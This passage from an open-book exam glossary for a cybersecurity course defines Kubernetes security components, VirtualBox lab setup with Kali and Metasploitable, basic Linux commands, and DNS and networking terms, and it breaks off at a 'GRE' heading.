Connection: The course Kubernetes threat model references CNCF material and the 4Cs of cloud-native security. CNCF also connects to supply-chain topics such as container images, registries, signing, and policy tools.

Kubesec

Kubesec is a tool that analyzes Kubernetes resource manifests and scores them against security best practices. It can flag risky settings such as privileged containers, root users, missing resource limits, host mounts, or weak security contexts.

WHY it matters: Many Kubernetes security problems are configuration problems. Manifest scanning catches issues before deployment and supports secure-by-design practices in CI/CD.

Connection: Kubesec is not a complete security solution. It complements admission control, RBAC review, network policy, image scanning, runtime monitoring, and threat modeling.

TLS Checklist (Kubernetes)

A Kubernetes TLS checklist is a practical hardening list ensuring that cluster communications use TLS correctly: API server certificates, kubelet client/server certificates, etcd TLS, controller/scheduler credentials, trusted CAs, rotation, and disabling insecure ports.

WHY it matters: Kubernetes is API-driven and distributed. Without correct TLS, attackers may intercept credentials, spoof components, or tamper with control-plane communication.

Connection: TLS mitigates Spoofing, Tampering, and Information Disclosure. It must be paired with authorization and audit logging because encryption alone does not decide what an authenticated component may do.

etcd (key-value store for cluster state)

etcd is the consistent, highly available key-value store used by Kubernetes to store cluster state. It contains API objects and configuration, and can include sensitive data such as Secrets unless protected.

WHY it matters: etcd is one of the highest-value assets in a Kubernetes cluster. Direct access can reveal or modify cluster state, secrets, workloads, and permissions.

Connection: Protect etcd with TLS, authentication, network isolation, encryption at rest for sensitive API data, backups, strict access control, and monitoring. In DFD terms, etcd is a critical Data Store.

API Server (central Kubernetes entry point)

The API Server, kube-apiserver, is the central Kubernetes entry point. It exposes the Kubernetes HTTP API, validates and configures API objects, and is the front end to the cluster's shared state.

WHY it matters: Almost every cluster action goes through the API server. If it is exposed without strong authentication, authorization, and TLS, the whole cluster is at risk.

Connection: In threat modeling, the API server is a high-risk Process and entry point. It connects authentication, authorization, admission control, audit logging, etcd, controllers, kubelets, and users.

Kubelet (node agent)

The Kubelet is the agent running on each node. It watches for pod specifications assigned to that node and ensures containers are running as expected through the container runtime.

WHY it matters: Kubelet has powerful control over workloads on its node. Insecure kubelet endpoints or excessive permissions can allow attackers to run commands, read logs, or affect pods.

Connection: Kubelet hardening includes authentication and authorization, disabling unauthenticated read-only ports, TLS, network restrictions, least privilege, and node monitoring.

Container Runtime (e.g. containerd, CRI-O)

The Container Runtime is the software responsible for running containers on a node. Common Kubernetes runtimes include containerd and CRI-O.

WHY it matters: The runtime enforces container isolation and interacts with images, filesystems, namespaces, cgroups, and the kernel. Runtime vulnerabilities or dangerous configuration can lead to container escape or node compromise.

Connection: Container runtime security belongs to the Container layer of the 4Cs. It connects to image provenance, sandboxing, Linux capabilities, seccomp, rootless/non-root execution, and host hardening.

Kube-proxy (maintains service-network behavior)

Kube-proxy is a node component that maintains network rules for Kubernetes Services. It helps route traffic to the appropriate backend pods according to service definitions.

WHY it matters: Service networking determines how workloads reach each other. Misconfiguration or broad reachability can increase lateral movement opportunities after a container compromise.

Connection: Kube-proxy belongs to node networking. It should be considered with network policies, service exposure, ingress, load balancers, and control-plane/node communication paths.

Scheduler (chooses nodes for new Pods)

The Kubernetes Scheduler watches for Pods that have not yet been assigned to a node and selects suitable nodes based on resource needs, constraints, affinity, taints, tolerations, and policy.

WHY it matters: Scheduling affects availability, isolation, and risk concentration. Poor scheduling policy can place sensitive workloads near untrusted workloads or overload nodes.

Connection: Threat modeling the scheduler involves DoS, resource exhaustion, workload placement, and policy bypass. Resource requests and limits provide the scheduler with information needed for safer placement.

Pod (smallest deployable Kubernetes workload unit)

A Pod is the smallest deployable workload unit in Kubernetes. It contains one or more containers that share network namespace, storage volumes, and lifecycle.

WHY it matters: Pods are the basic security unit for many policies. Containers in the same pod can usually communicate through localhost and may share volumes, so pod composition matters.

Connection: Pod-level security includes service account selection, securityContext, secrets mounting, resource limits, network policies, image selection, and admission controls.

Image Registry (supply-chain attack surface)

An Image Registry stores container images that Kubernetes pulls to run workloads. It can be public, private, internal, or part of a CI/CD pipeline.

WHY it matters: If an attacker can push or replace an image, compromise can happen before the workload starts. A trusted-looking image may contain malware, vulnerable dependencies, leaked secrets, or backdoors.

Connection: Registry security belongs to supply-chain security. Mitigations include access control, image scanning, signing, provenance, immutable tags/digests, least-privilege CI/CD credentials, and admission policies requiring trusted images.

Kubernetes Namespace (isolation unit)

A Namespace is a logical partition inside a Kubernetes cluster used to organize resources and apply scoped policies such as RBAC, quotas, and Pod Security Admission labels.

WHY it matters: Namespaces help separate teams, environments, and applications, but they are not a strong security boundary by themselves. Without RBAC and network policy, resources in different namespaces may still affect each other.

Connection: Namespaces connect to resource quotas, network policies, role bindings, secrets scoping, and pod security levels. They are a management and policy unit, not a substitute for separate clusters when strong isolation is required.

Resource Requests, Limits, and Quotas (DoS defense)

Resource Requests specify what CPU/memory a container expects; Limits cap what it may consume; ResourceQuotas constrain aggregate resource use in a namespace. Together they help control resource consumption.

WHY it matters: Without limits and quotas, a buggy or malicious workload can exhaust node or cluster resources, causing Denial of Service for other workloads.

Connection: These controls mitigate STRIDE Denial of Service. Requests help scheduling; limits constrain individual containers; quotas constrain teams or namespaces; LimitRanges can set defaults.

Pod Security Admission (modern replacement for PodSecurityPolicy)

Pod Security Admission is the built-in Kubernetes admission mechanism that enforces Pod Security Standards on namespaces. It can enforce, audit, or warn about restricted pod settings using namespace labels.

WHY it matters: It is the modern built-in replacement direction for the removed PodSecurityPolicy feature. It makes common restrictions easier to apply consistently.

Connection: Pod Security Admission helps prevent dangerous pod configurations such as privileged containers, risky host namespace use, or unsafe security contexts. It is often combined with policy engines for more customized controls.

Supply-Chain Security (images, build pipelines, artifact signing)

Supply-Chain Security protects the path from source code to running workload: dependencies, build systems, CI/CD credentials, container images, registries, deployment manifests, and artifact signatures.

WHY it matters: Attackers may compromise software before it reaches production. A poisoned dependency, malicious image, leaked build credential, or unsigned artifact can bypass runtime defenses.

Connection: Kubernetes supply-chain controls include trusted registries, image signing, provenance, SBOMs, dependency scanning, CI/CD hardening, admission webhooks, and running images by digest instead of mutable tags.

OpenID Connect (Kubernetes authentication method)

OpenID Connect (OIDC) is an authentication method that lets Kubernetes trust tokens issued by an external identity provider. It is commonly used to integrate cluster access with organizational identity systems.

WHY it matters: Centralized identity improves account lifecycle management, MFA enforcement, and auditing compared with unmanaged local credentials.

Connection: OIDC handles Authentication, not Authorization. After identity is established, Kubernetes RBAC decides what the user or group can do. Misconfigured OIDC claims or overly broad role bindings can create privilege risks.

Admission Webhook

An Admission Webhook is an HTTP callback used by Kubernetes admission control to validate or mutate API requests before objects are persisted. Webhooks can enforce custom policy, inject sidecars, require image signatures, or reject unsafe configurations.

WHY it matters: Admission webhooks are powerful guardrails. They can stop insecure workloads before deployment, but they can also become availability or privilege risks if misconfigured.

Connection: Admission webhooks are part of Address Threats in Kubernetes threat modeling. They complement Pod Security Admission, RBAC, image policy, and CI/CD checks.

Network Endpoints (exposed pods / services / control-plane ports)

Network Endpoints are reachable addresses and ports for pods, services, ingress, load balancers, nodes, and control-plane components. They define where communication can enter or move inside the cluster.

WHY it matters: Every exposed endpoint is part of the attack surface. A service unintentionally exposed to the internet, a public API server, or an open kubelet port can become an entry point.

Connection: Endpoint analysis connects to attack surface reduction, network policies, firewall rules, ingress configuration, service types, TLS, authentication, and control-plane hardening.

RBAC Misconfiguration (common Kubernetes attack vector)

RBAC Misconfiguration means Kubernetes permissions are broader than intended or bound to the wrong subjects. Examples include cluster-admin for default service accounts, wildcard permissions, secrets read access everywhere, or permission to create privileged pods.

WHY it matters: Many Kubernetes attacks rely on using legitimate API permissions after compromising a user, token, or pod. Overprivileged RBAC turns a small compromise into cluster compromise.

Connection: RBAC misconfiguration maps strongly to Elevation of Privilege. Mitigations include least privilege, review of RoleBindings and ClusterRoleBindings, avoiding wildcards, namespace scoping, separating duties, and auditing API use.

■ VIRTUALBOX / LAB ENVIRONMENT

VirtualBox

VirtualBox is a virtualization platform used in the course lab to run isolated virtual machines such as Kali Linux, Metasploitable 2, and Metasploitable 3. It provides virtual hardware, networking modes, snapshots, and a GUI/CLI for VM management.

WHY it matters: The lab depends on safe isolation. VirtualBox networking choices directly affect whether vulnerable targets are reachable only by the host, by other VMs, by the LAN, or by the internet.

Connection: VirtualBox is the environment where attack surface is intentionally controlled. Host-Only and Internal networks are safer for vulnerable targets; Bridged networking creates broad exposure.

VMware

VMware is another virtualization platform family used to run virtual machines. Some vulnerable VM images, including older lab targets, may be distributed in formats originally intended for VMware but can often be imported or adapted for VirtualBox.

WHY it matters: The exam may mention VMware as an alternative hypervisor. The security concepts are the same: isolate vulnerable machines, understand network modes, and avoid exposing intentionally vulnerable targets.

Connection: VirtualBox and VMware are both hypervisors. Tool commands and UI differ, but concepts such as VM, virtual NIC, NAT, bridged networking, host-only networks, and snapshots carry over.

Hypervisor

A Hypervisor is software that creates and manages virtual machines by virtualizing CPU, memory, storage, and network hardware. VirtualBox and VMware are examples of hypervisors used for desktop labs.

WHY it matters: The hypervisor is the isolation layer between guest VMs and the host. A misconfigured network can expose guests; a hypervisor vulnerability could theoretically weaken isolation.

Connection: In threat modeling, the hypervisor creates boundaries: guest VM -> host, guest VM -> guest VM, and virtual network -> physical network. Lab safety depends on these boundaries being configured correctly.

Virtual Machine (VM)

A Virtual Machine is a software-defined computer running a guest operating system on virtual hardware provided by a hypervisor. In the course lab, Kali is the tester VM and Metasploitable machines are target VMs.

WHY it matters: VMs allow repeatable, isolated security practice. You can run vulnerable systems without installing them directly on the host or exposing production infrastructure.

Connection: A VM still has an attack surface: virtual NICs, exposed services, shared folders, clipboard integration, guest additions, credentials, and network mode. Isolation is a configuration choice, not magic.

Metasploitable 2 (intentionally vulnerable Linux target)

Metasploitable 2 is an intentionally vulnerable Ubuntu Linux VM created by Rapid7 for penetration-testing practice. It includes deliberately vulnerable services such as vsftpd, Samba, vulnerable web applications, weak database configuration, and other training targets.

WHY it matters: It provides a legal, controlled target for learning scanning, enumeration, exploitation, and reporting. It must not be treated as a safe production machine.

Connection: Place Metasploitable 2 on Host-Only or Internal networking with Kali. Do not expose it to Bridged, campus, public, or production networks unless an explicitly authorized lab configuration requires it.

Metasploitable 3 (intentionally vulnerable Windows target)

Metasploitable 3 is a newer intentionally vulnerable VM from Rapid7, available in Windows Server 2008 R2 and Ubuntu variants depending on setup. Unlike Metasploitable 2, it is commonly built/provisioned with Vagrant.

WHY it matters: It gives practice with more modern and Windows-relevant attack scenarios, including vulnerable services and configurations used for penetration-testing exercises.

Connection: Default lab credentials often use vagrant/vagrant. The same safety rule applies: keep intentionally vulnerable VMs isolated, and use them only within authorized lab scope.

Kali Linux (penetration testing distribution)

Kali Linux is a Debian-based Linux distribution designed for penetration testing and security assessment. It packages tools such as Nmap, Metasploit, Burp Suite, Wireshark, John the Ripper, Hydra, and many others.

WHY it matters: Kali is the course's tester toolbox. It provides a ready environment for authorized scanning, exploitation practice, traffic analysis, and lab work.

Connection: Kali is not authorization. Tools must be used only in the lab or explicitly permitted scope. Keep Kali updated, while intentionally vulnerable target VMs remain outdated as designed.

Offensive Security (Kali maintainer)

Offensive Security is the organization that maintains and funds Kali Linux and is also associated with security training and certifications. It also maintains the Exploit Database.

WHY it matters: It explains why Kali and Exploit-DB appear together in the course ecosystem: Kali provides tools, and Exploit-DB provides public exploit demonstrations and research material.

Connection: Offensive Security does not make tool use legal by default. Ethical boundaries, permission, and scope remain the defining rules for all assessment activity.

VirtualBox Networking Modes: NAT, NAT Network, Bridged, Internal Networking, Host-Only, Cloud Network, Generic (UDP Tunnel / VDE)

VirtualBox networking modes define how a VM connects to the host, other VMs, the LAN, the internet, or cloud/virtual networks. NAT gives outbound internet while hiding inbound access unless port forwarding is configured. NAT Network lets multiple VMs share a private NATed network. Bridged makes the VM appear as a real machine on the LAN. Internal allows VM-to-VM communication only. Host-Only allows VM-to-host and VM-to-VM but no internet. Cloud Network connects to Oracle Cloud. Generic modes include UDP Tunnel and VDE.

WHY it matters: Networking mode is a security control because it changes reachability. A vulnerable VM on Bridged networking can be visible to other LAN devices; the same VM on Internal networking may only be reachable by selected lab VMs.

Connection: Safe default for vulnerable labs is usually Host-Only or Internal. NAT is useful for outbound updates but not VM-to-VM in standard mode. NAT Network supports VM-to-VM plus outbound internet. Bridged should be used carefully because it expands the attack surface.

VBoxManage (CLI for VirtualBox)

VBoxManage is the command-line interface for VirtualBox. It can create, modify, start, stop, and inspect VMs and configure networking, adapters, NAT port forwarding, NAT networks, bandwidth groups, and promiscuous mode.

WHY it matters: The CLI makes lab setup reproducible. It is also necessary for some settings not exposed or not convenient in the GUI.

Connection: Common use cases include setting NIC mode, creating NAT Networks, configuring port forwarding, and controlling VM lifecycle. Mistyped network settings can accidentally expose a vulnerable VM, so verify configuration.

DHCP (Dynamic Host Configuration Protocol)

DHCP is the protocol used to automatically assign network configuration such as IP address, gateway, DNS server, and lease information. VirtualBox can provide DHCP in modes such as NAT, NAT Network, and Host-Only.

WHY it matters: Lab tools need target IP addresses. DHCP determines where VMs get those addresses and whether they can communicate.

Connection: In NAT mode, VirtualBox commonly gives the first adapter a 10.0.2.0/24 address with gateway 10.0.2.2. In Host-Only networks, VirtualBox can run a host-only DHCP server for the private lab range.

Port Forwarding

Port Forwarding maps traffic arriving at one host IP/port to a port inside a VM. In VirtualBox NAT, it is the normal way to make a service inside a NATed guest reachable from the host or outside.

WHY it matters: NAT hides inbound services by default. Port forwarding deliberately opens a path into the VM, which can be useful for SSH or web testing but also increases exposure.

Connection: In threat-modeling terms, a port-forward rule is an entry point and attack vector. Restrict host IP to localhost when possible, avoid forwarding vulnerable services to broad networks, and document the rule.

Promiscuous Mode

Promiscuous Mode allows a network adapter to receive traffic not addressed specifically to its own MAC address. In VirtualBox, policies include deny, allow-vms, and allow-all depending on mode and configuration.

WHY it matters: It is useful for packet capture and protocol analysis with tools such as Wireshark, but it also changes what traffic a VM can observe.

Connection: Promiscuous mode availability depends on networking mode. It is relevant for labs involving sniffing, MITM understanding, and network visibility. It should not be enabled casually on sensitive networks.

virtio-net (paravirtualized adapter - best performance)

virtio-net is a paravirtualized network adapter type. Instead of fully emulating a physical NIC, it uses a software interface designed for efficient communication between guest and host.

WHY it matters: It gives the best performance in VirtualBox when the guest OS has the required virtio drivers. It avoids much of the overhead of emulating older hardware.

Connection: Performance ranking in the preparation material places virtio-net above Intel PRO/1000 and AMD PCNet. The trade-off is compatibility: older or unsupported guests may need drivers before using virtio-net.

AMD PCNet (default VirtualBox adapter)

AMD PCNet refers to older emulated network adapters available in VirtualBox, including PCNet FAST III. They are broadly compatible with many operating systems and boot environments but have lower performance.

WHY it matters: Compatibility matters in lab VMs, especially older or intentionally vulnerable systems. A lower-performance adapter may still be the easiest adapter to boot and use reliably.

Connection: In adapter selection, AMD PCNet is a compatibility fallback; Intel PRO/1000 is common for Windows guests; virtio-net is best performance when drivers are available.

Intel PRO/1000 (common Windows-compatible adapter)

Intel PRO/1000 is a family of emulated Gigabit Ethernet adapters in VirtualBox. It is commonly used for Windows guests because many Windows versions recognize it or have suitable drivers.

WHY it matters: Choosing an adapter affects whether the guest has network connectivity at all. Without a working driver, a VM may boot but be unreachable.

Connection: In the course performance/compatibility comparison, Intel PRO/1000 is usually a good modern choice, faster than PCNet but below virtio-net when virtio is supported.

Jumbo Frames

Jumbo Frames are Ethernet frames larger than the standard 1500-byte MTU. VirtualBox support is limited and depends on adapter and mode, especially Intel card virtualization with bridged networking.

WHY it matters: Misconfigured jumbo frames can appear as packet loss or strange connectivity problems. They are not usually needed for basic cybersecurity labs.

Connection: In exam terms, remember that AMD networking devices in VirtualBox do not support jumbo frames and oversized packets may be silently dropped. This is a performance/networking detail, not a security control.

Non-root User Policy (Kali since 2020.1)

Since Kali Linux 2020.1, Kali follows a non-root user policy by default. The standard live/VM login is commonly kali/kali, and administrative actions are performed with sudo rather than by logging in permanently as root.

WHY it matters: Running everything as root increases the chance that mistakes become system-wide damage. The non-root default aligns Kali with safer Linux usage patterns.

Connection: Use sudo only when needed. Tools that require raw sockets, packet capture, or system changes may need elevated privileges, but ordinary file editing and browsing should not.

sudo -i

sudo -i starts an interactive root login shell after sudo authorization. It gives a root environment for commands that require full administrative privileges.

WHY it matters: Some lab tasks require root-level actions, such as installing packages, changing system configuration, or running tools that need privileged network access.

Connection: A root shell is powerful and risky. In a lab, confirm the VM and directory before destructive commands. Use exit to leave the root shell when finished.

dpkg-reconfigure keyboard-configuration

dpkg-reconfigure keyboard-configuration is a Debian/Kali command used to permanently reconfigure keyboard layout settings. It is useful when the VM keyboard layout does not match the physical keyboard.

WHY it matters: Wrong keyboard mapping can break passwords, symbols, shell commands, and lab productivity. Security labs often require precise characters such as pipes, slashes, quotes, and hyphens.

Connection: This command changes configuration persistently. For a temporary GUI-only layout switch, setxkbmap may be faster.

setxkbmap

setxkbmap changes the X keyboard layout for the current graphical session. Examples from the course include setxkbmap en_UK and setxkbmap dk.

WHY it matters: It quickly fixes keyboard mismatch inside a Kali GUI session without going through permanent system reconfiguration.

Connection: setxkbmap is temporary. dpkg-reconfigure keyboard-configuration is the persistent approach. Both are lab-environment commands, not security controls.

apt update

apt update refreshes package metadata from configured repositories. It tells the package manager what versions and packages are currently available.

WHY it matters: You normally run apt update before upgrading or installing packages so Kali uses current repository information.

Connection: apt update does not upgrade packages by itself. In the lab rule, update Kali regularly, but keep intentionally vulnerable targets such as Metasploitable outdated as designed.

apt full-upgrade

apt full-upgrade upgrades installed packages and allows dependency changes when needed. It is commonly used on Kali to keep the assessment toolbox current.

WHY it matters: Security tools and dependencies change frequently. Updating Kali helps avoid old tool bugs and missing capabilities.

Connection: Review prompts before confirming. Do not run upgrade commands on intentionally vulnerable target VMs if their outdated state is required for exercises.

apt autoremove

apt autoremove removes packages that were installed automatically as dependencies and are no longer needed. It helps clean up the system after upgrades or package removals.

WHY it matters: It keeps the Kali VM cleaner and can free disk space. Disk exhaustion can affect availability of the lab VM.

Connection: Always review what will be removed. Package management commands are basic lab operations that support a stable tester environment.

CYBERSECURITY COURSE

Open-Book Exam Reference - Definitions

Linux Commands, DNS/Networking, Hacker Taxonomy, Security Activity Map, Miscellaneous Security Terms

Use Ctrl+F / Cmd+F to find any term. Written as broad explanations for open-book exam use.

■ LINUX COMMANDS

Open-book exam reference - Cybersecurity Course (F26), SDU CIS

pwd

pwd prints the current working directory. It tells you exactly where your shell is located in the filesystem, for example /home/kali or /var/www/html.

WHY it matters: Many dangerous Linux commands act on relative paths. Before copying, moving, deleting, editing, or launching files in a lab, pwd prevents mistakes by confirming context.

Connection: Often paired with ls, cd, cp, mv, and rm. In cybersecurity labs, it is basic operational safety: know where you are before changing the system.

touch

touch creates an empty file if it does not exist, or updates the access/modification timestamp if it does. Example: touch notes.txt.

WHY it matters: It is a quick way to create placeholder files, test permissions, or update timestamps during simple shell practice.

Connection: In labs it is commonly followed by vi/vim to edit the file, cp/mv to copy or rename it, and rm to delete it. From a forensic perspective, timestamp changes matter because they can affect evidence interpretation.

vi / vim

vi is a classic terminal text editor; vim is an improved version with more features. They are commonly available on Unix-like systems and can edit configuration files, scripts, source code, and notes directly from the terminal.

WHY it matters: Many lab and server environments have no graphical editor. Knowing the basics - open file, insert text, save, quit - is enough to change configs and scripts in constrained environments.

Exam note: Essential commands: i enters insert mode, Esc returns to normal mode, :w saves, :q quits, :wq saves and quits, :q! quits without saving.

Connection: Used after touch to edit a new file, after grep to inspect matching files, and during hardening or troubleshooting to modify configuration safely.

cp

cp copies files or directories. Basic syntax: cp source destination. With options such as -r, it can copy directories recursively.

WHY it matters: Copying lets you preserve an original file before modifying it. In labs and administration, making a backup copy before editing config files is a basic safety habit.

Connection: cp differs from mv: cp leaves the original in place; mv relocates or renames it. A common safe pattern is cp config config.bak before editing with vim.

mv

mv moves or renames files and directories. Basic syntax: mv oldname newname or mv file /target/directory/.

WHY it matters: It is used constantly for organizing files, replacing configuration files, and renaming outputs. It can also overwrite an existing target if permissions allow.

Connection: mv does not create a second copy; it changes the file's location or name. Use cp when you need an original copy to remain.

rm

rm removes files. Basic syntax: rm file. It normally deletes immediately from the filesystem rather than moving the file to a graphical trash bin.

WHY it matters: It is powerful and irreversible in many terminal environments. Accidental deletion of lab evidence, scripts, or configs can waste time or damage a system.

Connection: rm affects availability of data. In security thinking, unauthorized deletion is an availability violation. Always confirm pwd and paths before using rm, especially as root.

rm -r

rm -r removes directories recursively, including their contents and subdirectories. It is necessary when deleting a directory tree from the command line.

WHY it matters: It is one of the riskiest everyday commands because a wrong path can destroy many files at once. The risk is higher with sudo or root privileges.

Connection: Use it only when you understand the exact directory path. This command illustrates why least privilege matters: the same typo is less destructive under a normal user than under root.

grep

grep searches text for patterns. Basic syntax: grep string file. It can search logs, configuration files, command output, and code for matching lines.

WHY it matters: Security work produces large amounts of text: logs, scan results, config files, packet captures converted to text, and source code. grep quickly finds indicators such as usernames, IPs, errors, CVE strings, and suspicious commands.

Connection: Often combined with pipes: cat log.txt | grep failed. It supports regular expressions, making it useful for both administration and investigation.

strings

strings extracts printable character sequences from a binary file. It does not decompile the file; it simply shows readable fragments such as paths, URLs, commands, error messages, library names, or embedded configuration.

WHY it matters: It is a quick first-pass inspection tool for unknown binaries, malware samples in a controlled lab, compiled programs, and memory/core files.

Connection: In malware analysis, strings can reveal indicators of compromise, C2 domains, file paths, or suspicious function names. It is not proof by itself; combine it with hashes, sandboxing, static analysis, and behavioral analysis.

ip address / ip addr / ip a

ip address, ip addr, and ip a display network-interface information using the modern Linux ip tool. They show interface names, IPv4 addresses, IPv6 addresses, MAC addresses, state, and assigned networks.

WHY it matters: Almost every lab starts by identifying the machine's IP address. You need it for Nmap targets, Metasploit RHOST values, SSH connections, reverse shells, and troubleshooting connectivity.

Connection: Modern replacement for ifconfig. In VirtualBox labs, ip a confirms whether the VM is on NAT, host-only, internal, or bridged networking.

apt upgrade

apt upgrade installs newer available versions of packages that can be upgraded without removing packages or making major dependency changes. It is usually run after apt update.

WHY it matters: Keeping Kali and normal Linux systems patched reduces exposure to known vulnerabilities. Package upgrades are a core hardening and maintenance activity.

Connection: Do not confuse apt update and apt upgrade. apt update refreshes package metadata; apt upgrade installs upgrades. For Kali, apt full-upgrade is often recommended because it handles dependency changes more completely. Intentionally vulnerable targets such as Metasploitable should remain vulnerable in isolated labs.

netstat -antp

netstat -antp lists active TCP connections and listening TCP sockets. The flags mean: -a all sockets, -n numeric addresses/ports, -t TCP, -p process/PID information.

WHY it matters: It shows what the system is listening on and which processes own connections. This helps confirm listeners, discover unexpected services, and investigate suspicious outbound or inbound connections.

Connection: Useful in both defense and post-exploitation analysis. For defenders, an unexpected LISTEN port may indicate misconfiguration or malware. For testers, it confirms whether a payload handler or service is active. ss is the modern replacement on many Linux systems.

ss -at4n

ss means socket statistics. ss -at4n shows all TCP IPv4 sockets in numeric form: -a all, -t TCP, -4 IPv4 only, -n numeric.

WHY it matters: ss is faster and more modern than netstat, and it is commonly installed where netstat is absent. It helps identify listening ports and established connections.

Connection: Similar purpose to netstat -antp, but process display requires -p and often elevated privileges. Example extension: ss -tulpen can show TCP/UDP listening sockets with process and user details.

lsof

lsof lists open files, and on Unix-like systems network sockets are represented as files. A common security use is sudo lsof -i :PORT, for example sudo lsof -i :8080, to see which process is using a port.

WHY it matters: It precisely maps a port to a process, PID, and user. This is essential for debugging port conflicts, confirming listeners, and investigating unexpected network activity.

Connection: Complements netstat and ss. netstat/ss answer 'what sockets exist?'; lsof answers 'which process opened this file or socket?' Administrative privileges reveal more complete information.

■ DNS / NETWORKING TERMS

Open-book exam reference - Cybersecurity Course (F26), SDU CIS

DNS (Domain Name System)

DNS is the distributed naming system that translates human-readable domain names such as sdu.dk into IP addresses and other service records. It is hierarchical: root zone, top-level domains, authoritative nameservers, and recursive resolvers.

WHY it matters: Almost all internet use depends on DNS. If DNS fails, users may not reach services even when the services themselves are healthy. If DNS is manipulated, users can be redirected to attacker-controlled destinations.

Connection: DNS is central to reconnaissance, phishing, malware C2, domain takeover, email delivery, and incident response. Tools such as host, nslookup, dig, and Shodan/Netcraft-style services help investigate DNS and exposed infrastructure.

DNS Record Types (A, MX, NS, CNAME, etc.)

DNS records store specific information about a domain. A records map names to IPv4 addresses; AAAA records map names to IPv6; MX records specify mail exchangers; NS records specify authoritative nameservers; CNAME creates an alias; TXT stores arbitrary text such as SPF/DKIM/DMARC verification data; PTR is used for reverse DNS.

WHY it matters: Record types reveal infrastructure, mail flow, service ownership, and possible misconfigurations. Wrong records can break availability or enable hijacking and spoofing.

Connection: During reconnaissance, DNS records help identify subdomains, mail providers, cloud services, and administrative boundaries. In phishing defense, MX/TXT records are important because email authentication depends heavily on DNS.

DNSSEC

DNSSEC adds cryptographic signatures to DNS data so resolvers can validate that DNS responses are authentic and have not been tampered with. It protects integrity of DNS answers, not confidentiality.

WHY it matters: Standard DNS was not designed to prevent forged responses. DNSSEC reduces risks such as cache poisoning and forged DNS records when validation is correctly configured.

Connection: DNSSEC does not encrypt queries like DoH/DoT; it signs data. It supports integrity and authenticity, while TLS still protects the web connection after a name resolves.

Registrar

A registrar is an organization accredited to register domain names on behalf of registrants. It manages domain registration, renewal, ownership details, and often DNS delegation settings.

WHY it matters: If a registrar account is compromised, attackers may change nameservers, redirect domains, hijack email, or take over services without touching the victim's servers.

Connection: Domain security includes MFA on registrar accounts, locked domains, correct WHOIS/admin contacts, and careful change control for DNS updates.

Nameserver

A nameserver answers DNS queries. Authoritative nameservers hold the official records for a domain; recursive resolvers query the DNS hierarchy on behalf of users and cache answers.

WHY it matters: A domain's nameservers define where the internet looks for its DNS truth. Misconfigured or compromised nameservers can cause outages, redirection, or information leakage.

Connection: NS records list authoritative nameservers. In reconnaissance, identifying nameservers can reveal hosting providers, DNS vendors, and split between internal and external infrastructure.

Reverse DNS

Reverse DNS maps an IP address back to a name, usually through PTR records under in-addr.arpa for IPv4 or ip6.arpa for IPv6.

WHY it matters: Reverse DNS helps identify who may operate an IP, what role it may have, and whether mail infrastructure is configured credibly. Some mail servers treat missing or inconsistent reverse DNS as suspicious.

Connection: Reverse DNS is useful but not authoritative proof of ownership. It should be compared with WHOIS/RDAP, autonomous system data, TLS certificates, and direct service banners.

WHOIS Privacy / Proxy Service

WHOIS privacy or proxy service hides a domain registrant's personal contact details from public WHOIS output, replacing them with privacy-service contact information.

WHY it matters: It reduces public exposure of names, addresses, phone numbers, and email addresses. This supports privacy and reduces spam, stalking, and social-engineering exposure.

Connection: During reconnaissance, privacy-protected WHOIS means the absence of personal details is expected, not suspicious by itself. Investigators must rely on other evidence such as DNS history, certificates, hosting, and legal process where appropriate.

RFC 1918 (private address ranges: 10.x, 172.16.x, 192.168.x)

RFC 1918 defines IPv4 address ranges reserved for private networks: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. These addresses are not routed on the public internet.

WHY it matters: Private addressing lets internal networks reuse address space and connect outward through NAT. Seeing an RFC 1918 address tells you it is internal, lab, VPN, container, or virtual network space rather than a public internet address.

Connection: VirtualBox NAT, host-only, internal networks, home routers, Kubernetes clusters, and enterprise LANs all commonly use private ranges. Attackers who gain a foothold often discover private subnets for lateral movement.

IPv4

IPv4 is the 32-bit Internet Protocol address format, normally written as four decimal octets such as 192.168.56.101. It provides about 4.3 billion addresses.

WHY it matters: Most labs, tools, scans, firewall rules, and port examples still use IPv4. Understanding subnets, CIDR notation, private ranges, and routing is essential for practical cybersecurity.

Connection: IPv4 commonly uses NAT because the address space is limited. Nmap, Metasploit RHOST, netstat, ss -4, and VirtualBox lab networking frequently operate with IPv4 addresses.

IPv6

IPv6 is the 128-bit successor to IPv4, written in hexadecimal groups such as 2001:db8::1. It provides a vastly larger address space and includes features such as neighbor discovery instead of ARP.

WHY it matters: IPv6 may be enabled even when administrators focus only on IPv4. Unmonitored IPv6 can create hidden exposure, bypass assumptions, or change firewall requirements.

Connection: Security controls must cover both IPv4 and IPv6. IPv6 does not automatically mean secure; TLS, authentication, firewalls, monitoring, and secure configuration are still required.

TCP (Transmission Control Protocol)

TCP is a connection-oriented transport protocol. It provides reliable ordered byte streams using acknowledgements, retransmission, sequencing, and flow/congestion control.

WHY it matters: Most interactive internet services use TCP, including HTTP/HTTPS, SSH, SMTP, RDP, and database protocols. TCP state is central to port scanning, firewall behavior, and DoS attacks.

Connection: The TCP three-way handshake is SYN, SYN-ACK, ACK. Nmap SYN scans, SYN floods, listening sockets, and connection states such as ESTABLISHED and TIME_WAIT all depend on TCP behavior.

UDP (User Datagram Protocol)

UDP is a connectionless transport protocol. It sends datagrams without a handshake, delivery guarantee, ordering guarantee, or built-in retransmission.

WHY it matters: UDP is fast and simple, which makes it useful for DNS, VoIP, streaming, QUIC, and many discovery protocols. Its lack of handshake also affects scanning and abuse: spoofed-source UDP traffic can support reflection/amplification attacks.

Connection: UDP scanning is harder to interpret than TCP scanning because no response may mean open, filtered, or lost. Firewalls and rate limiting are important for UDP-exposed services.

ICMP (Internet Control Message Protocol)

ICMP carries network control and diagnostic messages, such as echo request/reply used by ping and error messages such as destination unreachable or time exceeded.

WHY it matters: ICMP is useful for troubleshooting reachability and path behavior. Blocking all ICMP can make networks harder to diagnose and can break useful mechanisms such as path MTU discovery.

Connection: ICMP is not TCP or UDP and has no ports. Some scanning and traceroute techniques rely on ICMP behavior. Attackers may use ICMP for reconnaissance or covert channels, but defenders also need it for operations.

SCTP (Stream Control Transmission Protocol)

SCTP is a transport protocol that supports message-oriented communication, multi-streaming, and multi-homing. It is common in telecom and signaling contexts rather than ordinary web browsing.

WHY it matters: Less common protocols can be overlooked by tools, firewalls, and administrators. If SCTP is exposed, it may represent a specialized attack surface.

Connection: In scanning and firewall design, do not assume all transport traffic is TCP or UDP. Protocol awareness matters for accurate filtering and monitoring.

GRE

